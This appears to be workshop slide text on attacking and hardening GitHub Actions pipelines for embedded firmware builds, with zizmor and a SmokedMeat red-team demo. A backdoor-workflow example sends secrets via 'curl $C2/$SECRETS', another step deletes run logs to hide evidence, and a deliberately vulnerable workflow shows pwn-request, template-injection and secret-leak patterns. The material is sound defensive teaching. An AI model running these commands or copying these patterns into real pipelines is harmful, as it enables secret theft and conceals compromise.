Building and *SECURING* CI/CD Pipelines for Embedded Systems using GitHub Actions

Attacking & defending GitHub Actions · zizmor static analysis ·SmokedMeat active analysis

Before we start

01 This is an introduction

02 Some content is simplified

03 For demonstrative purposes

SESSION STRUCTURE

Four phases

1

Introduction to CI/CD vulnerabilities

Pipeline overview · six vulnerability classes · deep dives on pinning, permissions, and triggers

2

Discover — find the issues

Examine the vulnerable workflow in the repository · identify what looks wrong and why

3

Mitigate — fix and automate

Discuss each finding · zizmor catches them statically · hardened workflow walkthrough

4

Active pentesting with SmokedMeat

Live red team demo — exploit the pipeline before the fixes, see the full kill chain

SESSION STRUCTURE

Detailed breakdown

P1 **01 Attack surface**

Six vulnerability classes and how they chain together

P1 **02 Pinning actions**

No pin, tag pin, SHA pin — and how tags get weaponised

P1 **03 Permission management**

write-all blast radius and least-privilege scoping

P1 **04 Trigger events**

Why pull_request_target requires much more care

P2 **05 Find the issues**

Examine the repository workflow — what do you spot?

P3 **06 Mitigations - zizmor**

Each finding fixed · static analysis · hardened workflow

P3 **07 Hand-on task**

Fork · fix · run zizmor · Discuss

P4 **08 SmokedMeat demo**

Active red team — exploit the pipeline, see the kill chain

GitHub Actions vulnerability classes

Critical

CRITICAL

VULN 4

Template injection

${{ github.event.* }} interpolated into run: — evaluated before bash, attacker controls the value

live demo

CRITICAL

VULN 1

Pwn request

pull_request_target + checkout of PR head — attacker code executes in base branch context with secrets

live demo

CRITICAL

VULN 5

Secrets outside env

Secrets in ${{ secrets.* }} inside run: are plain text before the shell — set -x prints them in logs

live demo

High

HIGH

VULN 3

Unpinned actions

Mutable tags (@v3/@v4) can be force-pushed to a new malicious commit by a compromised maintainer

HIGH

VULN 2

Excessive permissions

write-all GITHUB_TOKEN lets any compromised step push commits, merge PRs or erase run logs

HIGH

VULN 3+6

Artipacked

checkout without persist-credentials:false writes git tokens to .git/config, leaking into artifacts

VULN 3 · *Unpinned actions*

Mutable vs. Immutable Pinning

No pin at all

Latest = unknown

uses: actions/checkout always resolves to HEAD at runtime. Any push — including a compromised one — takes effect immediately on your next run.

```
# Resolves at runtime -- no guarantee
uses: actions/checkout
```

Tag pin

Tags are mutable

Tags like @v4 can be moved to a different commit at any time — silently. A compromised maintainer account can weaponise your pinned tag overnight.

```
# Tag can be force-pushed to new SHA
uses: actions/checkout@v4
```

SHA pin

Immutable by definition

A full 40-character commit SHA cannot be moved. If upstream is compromised, your workflow keeps running the exact code you reviewed. Tag becomes a human-readable comment.

```
# Immutable -- tag is human-readable only
uses: actions/checkout@11bd719...  # v4
```

Use Dependabot or pin-github-action to automate SHA updates — security without manual maintenance.

VULN 3 · *Unpinned actions*

How an attacker weaponises a mutable tag

1 You pin to @v4

You review the action source at commit abc123, decide it is safe, and write uses: some-action@v4 in your workflow.

```
# Your workflow
uses: owner/action@v4
# resolves to: abc123...
```

2 Maintainer is compromised

An attacker steals the maintainer's GitHub credentials via phishing or a leaked token. They now have push access to the action repository.

```
# Attacker has:
# - push access to owner/action
# - ability to move tags
```

3 Tag is force-pushed

The attacker pushes malicious code to def456 and force-pushes v4 to point at it. No PR, no diff, no notification to you.

```
git tag -f v4 def456
git push --force origin v4
# v4 now points to def456
```

4 Your next run is owned

Your workflow still says @v4. GitHub resolves to def456 at runtime. Malicious code runs with full access to your secrets.

```
# Your workflow unchanged
uses: owner/action@v4
# now resolves to: def456 malicious
```

Real-world examples: tj-actions/changed-files (March 2025), reviewdog (March 2025), Ultralytics (Dec 2024) — all exploited via tag force-push after maintainer account compromise.

Fix: pin to full commit SHA — uses: owner/action@abc123def... # v4 — the tag becomes a comment, not a trust anchor.

VULN 2 · *Excessive permissions*

Least-privilege Permissions

Default: write to everything

Unless explicitly restricted, GITHUB_TOKEN has read/write on contents, pull-requests, packages, deployments and more. Every step in every job can use it.

Blast radius of write-all

A single compromised step — a poisoned action, a script injection — can push malicious commits to main, approve and merge PRs, publish packages, or modify release assets.

Least-privilege approach

Deny all at workflow level with permissions: {}. Grant only what each job actually needs, scoped to that job. Write access goes only to the release job, not the build job.

Vulnerable -- permissions: write-all

```yaml
permissions: write-all  # VULN 2

jobs:
  build:
    runs-on: ubuntu-latest
    steps:
      # any step can push to repo,
      # approve PRs, publish packages
```

Hardened -- deny all, grant per job

```yaml
permissions: {}         # deny all

jobs:
  build:
    permissions:
      contents: read    # build only
  release:
    permissions:
      contents: write   # release only
```

VULN 2 · *Excessive permissions*

A compromised step with write-all access

Scenario: a same-repo branch or a push to main — here the write-all token is fully active. A script injection gives the attacker a shell with complete repo write access.

What write-all allows — push to main or same-repo branch

`contents: write`

Push a backdoored commit directly to main — bypasses branch protection if not enforced by ruleset

`pull-requests: write`

Approve and auto-merge a malicious PR, or modify PR descriptions to hide injected code

`packages: write`

Overwrite a published firmware package in GitHub Packages with a trojanised binary

`deployments: write`

Create a fake deployment record pointing to attacker infrastructure

`actions: write`

Modify or delete workflow run logs — erase all evidence of the compromise

What the attacker does with that shell

Step 1 — persist access (contents: write)

```
# Push a backdoor workflow to main
cat > .github/workflows/bd.yml << EOF
on: push
jobs:
  exfil:
    steps:
      - run: curl $C2/$SECRETS
```

Step 2 — cover tracks (actions: write)

```
# Delete run logs via GitHub API
gh api --method DELETE
  /repos/{owner}/{repo}/actions/runs/$ID
# No logs = no evidence of compromise
```

With least-privilege (contents: read only)

```
git push  # Permission denied -- stops here
```

VULN 1 · *Pwn request*

Not all triggers are equal

`pull_request`	LOW RISK
Context	Fork's clone — isolated from base branch
Secrets	Not available — cannot access repo secrets
Token	Read-only GITHUB_TOKEN for the fork
Use for	SAST, build checks, unit tests on untrusted code

`pull_request_target`	HIGH RISK
Context	Base branch — full access to the target repo
Secrets	Available — all repo secrets in scope
Token	Read-only for fork PRs — write-all declared in YAML is silently downgraded
Use for	Only when you explicitly need base (target) branch context

Never combine pull_request_target with checkout of the PR head SHA — the token is read-only from a fork, but secrets are still in scope and code execution in the base branch context is enough.

Phase 2

Find the issues

Open the repository and examine the workflow file. What issues do you spot?

github.com / giacomobenedetti / test-it

.github/workflows/firmware-build-vulnerable.yml

1	Clone or open the repo in your browser
2	Read through firmware-build-vulnerable.yml carefully
3	Note anything that looks suspicious - be ready to discuss

What did you find?

Let's discuss before running any tools.

VULN 1 **Pwn request**

Trigger — what fires this workflow on a fork PR?

VULN 2 **Excessive permissions**

Permissions — what can any step do with GITHUB_TOKEN?

VULN 3 **Unpinned actions**

Dependencies — how are the actions referenced?

VULN 4 **Template injection**

Data flow — where does PR input go without sanitisation?

VULN 5 **Secrets outside env**

Secrets — how are credentials passed to the build step?

VULN 3+6 **Artipacked**

Artifact — what does the checkout step leave behind?

firmware-build-vulnerable.yml

firmware-build-vulnerable.yml

```yaml
on:
  pull_request_target:    # VULN 1

permissions: write-all    # VULN 2

    - uses: actions/checkout@v3  # VULN 3
      ref: ${{github.event.pull_request.head.sha}}

    - name: Log build info    # VULN 4
      run: echo "${{github.event
        .pull_request.head.ref}}

    - name: Build firmware    # VULN 5
      run: |
        set -x
        D_WIFI_PASS="${{secrets.D_WIFI_PASS}}" \
        pio run --environment m5stick-c

    - uses: upload-artifact@v4  # VULN 3+6
```

zizmor findings

VULN 1 Pwn request
`dangerous-triggers`

VULN 2 Excessive permissions
`excessive-permissions`

VULN 3 Unpinned actions
`unpinned-uses`

VULN 4 Template injection
`template-injection`

VULN 5 Secrets outside env
`secrets-outside-env`

VULN 3+6 Artipacked
`artipacked`

set -x bypasses GitHub's secret redactor

GitHub evaluates ${{ }} first

The runner receives a literal script with secrets already substituted as plain text — before any masking logic runs.

set -x prints every expanded command

bash traces each command under a + prefix. The masker checks for exact strings but misses them surrounded by shell syntax.

Why developers add set -x

The first tool anyone reaches for when a CI build fails unexpectedly — a completely routine debugging decision.

What the log shows

Vulnerable — secrets in run: body + set -x added live

```
- name: Build firmware
  run: |
    set -x                              # added to debug
    D_WIFI_SSID="${{secrets.WIFI_SSID}}" \
    D_WIFI_PASS="${{secrets.WIFI_PASS}}" \
    D_WIFI_USER="${{secrets.WIFI_USER}}" \
    GITHUB_TOKEN="${{secrets.GITHUB_TOKEN}}" \
    pio run --environment m5stick-c
```

Actual GitHub Actions log output

```
##[group]Run D_WIFI_SSID="corp-wifi" ...
+ D_WIFI_SSID=corp-wifi \
  D_WIFI_PASS=Tr0ub4dor&3 \
  D_WIFI_USER=device-provisioner \
  GITHUB_TOKEN=ghp_A1b2C3d4E5f6G7h8I9 \
  pio run --environment m5stick-c
[...]
Error: platform not found  (build fails here)
```

Phase 3

Mitigate the Threats

zizmor

https://github.com/zizmorcore/zizmor

Phase 3 — Mitigations & automation

zizmor — static analysis for GitHub Actions

What it scans

Workflow YAML files — ~30 audit rules covering injection, dangerous triggers, supply chain, credential leakage, and permission issues.

How it works

Reads your workflow YAML statically — no network access, no API calls. Most rules work offline. Results include file, line number, confidence level, and a link to the audit docs.

SARIF output

Pass --format sarif to upload results directly to GitHub's Security tab. Free for public repos, zero extra tooling.

Auto-fix

Pass --fix to let zizmor rewrite some findings automatically — e.g. adding persist-credentials: false to checkout steps.

Install: `pip install zizmor` | `cargo install zizmor` | `uvx zizmor` (no install needed)

Run it

```
uvx zizmor .github/workflows/firmware-build-vulnerable.yml
```

Audit a single file

```
uvx zizmor .github/workflows/
```

Audit all workflows in the repo

```
uvx zizmor --format sarif . > results.sarif
```

Output SARIF for GitHub Security tab

```
uvx zizmor --fix .github/workflows/firmware-build-vulnerable.yml
```

Auto-fix what can be fixed

Phase 3

Your turn — apply the fixes

1 Fork the repository

Fork giacomobenedetti/test-it into your own GitHub account

2 Install zizmor locally

pip install zizmor or cargo install zizmor or uvx zizmor

3 Run zizmor against the vulnerable workflow

uvx zizmor .github/workflows/firmware-build-vulnerable.yml
Verify you see the same 2 errors and 4 warnings from the slides

4 Apply the mitigations

Edit the workflow: fix the trigger, permissions, pinning, template injection, and secrets scoping

5 Re-run zizmor — confirm zero findings

uvx zizmor .github/workflows/firmware-build-hardened.yml
No errors, no warnings = done

6 Discuss

Discuss together the security findings

zizmor — catching what you missed

```
$ zizmor .github/workflows/firmware-build-vulnerable.yml

warning[artipacked]: credential persistence through GitHub Actions artifacts
  --> firmware-build-vulnerable.yml:30   does not set persist-credentials: false
   = note: audit confidence → Low   ✓ auto-fix available

error[dangerous-triggers]: use of fundamentally insecure workflow trigger
  --> firmware-build-vulnerable.yml:16   pull_request_target is almost always used insecurely
   = note: audit confidence → Medium

error[template-injection]: code injection via template expansion  (× 3)
  --> lines 62, 63, 64  (pull_request.title / head.ref / user.login)
   = note: audit confidence → High   ✓ auto-fix available

error[unpinned-uses]: unpinned action reference  (× 4)
  --> checkout@v3  setup-python@v4  cache@v3  upload-artifact@v4
   = note: audit confidence → High

19 findings (10 suppressed, 4 fixable): 0 informational, 0 low, 1 medium, 8 high
```

Before vs after — zizmor findings fixed

Vulnerable

VULN 1+4 · dangerous-triggers + template-injection

```
on: pull_request_target
  run: echo ${{github.event
    .pull_request.head.ref}}
```

VULN 2 · excessive-permissions

```
permissions: write-all
```

VULN 3+6 · unpinned-uses + artipacked

```
uses: actions/checkout@v3
```

VULN 5 · secrets-outside-env (set -x scenario)

```
run: |
  set -x
  D_WIFI_PASS="${{secrets.D_WIFI_PASS}}" \
  pio run ...
```

Hardened

```
on: pull_request
  env:
    BRANCH: ${{github.event
      .pull_request.head.ref}}
  run: echo $BRANCH
```

```
permissions: {}
jobs:
  build:
    permissions:
      contents: read
```

```
uses: actions/checkout@11bd71...  # v4.2.2
  with:
    persist-credentials: false
```

```
env:
  D_WIFI_PASS: ${{secrets.D_WIFI_PASS}}
run: pio run --environment m5stick-c
# set -x is now harmless -- nothing to trace
```

firmware-build-hardened.yml

firmware-build-hardened.yml

```yaml
on:
  pull_request:           # FIX 1

permissions: {}           # FIX 2
    permissions:
      contents: read      # FIX 2

    - uses: checkout@11bd71...  # FIX 3
      with:
        persist-credentials: false  # FIX 6

    - name: Log build info    # FIX 4
      env:
        BRANCH: ${{github.event.pr.head.ref}}
      run: echo $BRANCH

    - name: Build firmware    # FIX 5
      env:
        D_WIFI_PASS: ${{secrets.D_WIFI_PASS}}
      run: pio run --environment m5stick-c
```

fixes applied

VULN 1 Pwn request
`fix: pull_request`

VULN 2 Excessive permissions
`fix: permissions: {}`

VULN 3 Unpinned actions
`fix: pinned SHA`

VULN 4 Template injection
`fix: env: for event data`

VULN 5 Secrets outside env
`fix: env: for secrets`

VULN 3+6 Artipacked
`fix: persist-credentials: false`

Zizmor as a pipeline gate

audit-workflows.yml

```yaml
name: Audit with zizmor
on: [push, pull_request]
permissions:
  contents: read
  security-events: write  # SARIF upload

    - uses: actions/checkout@11bd71...
      with:
        persist-credentials: false

    - run: uvx zizmor --format sarif . \
           > results.sarif
      continue-on-error: true

    - uses: codeql-action/upload-sarif@...
      with:
        sarif_file: results.sarif
```

Blocks vulnerable PRs

Job fails on error-level findings before merge — gates the pipeline automatically.

GitHub Security tab

SARIF upload shows findings inline on the repo — free for public repos, no extra tooling.

Org rulesets

Enforce zizmor across all repos from one place without touching each workflow individually.

Pre-commit hook

Also runs as a pre-commit hook — catches issues before push, not after.

Phase 4

SmokedMeat

github.com/boostsecurityio/smokedmeat

What it is

A CI/CD red team framework. Scan an org's workflows for injection vulnerabilities, deploy a stager via PR, exploit the pipeline, extract secrets, and pivot to cloud credentials.

How it differs from zizmor

Zizmor is static — it reads YAML and flags patterns. SmokedMeat is active — it actually runs an attack and shows the full kill chain: payload deployed, runner compromised, secrets harvested from process memory.

The point

A SAST finding that says 'injection possible' stays on the backlog. A live demo that steals your AWS credentials in 60 seconds does not. SmokedMeat closes the gap between detection and action.

Capabilities

- Analyze workflows (poutine SAST)
- Deploy stager via PR / issue / comment
- Extract secrets from runner memory
- Enumerate token permissions
- Scan git history (gitleaks)
- Pivot to AWS / GCP / Azure via OIDC

Key takeaways

1	pull_request_target + checkout of PR head = remote code execution with base branch secrets
2	Template injection (${{ github.event.* }} in run:) is the most common critical finding
3	Pin every action to a commit SHA — tags are mutable and a force-push after account compromise weaponises them silently
4	Deny all permissions at workflow level — grant only what each job needs, scoped to that job alone
5	Secrets belong in env:, scoped to the step that needs them — never in the run: body
6	zizmor catches all of the above statically · SmokedMeat proves the blast radius actively — use both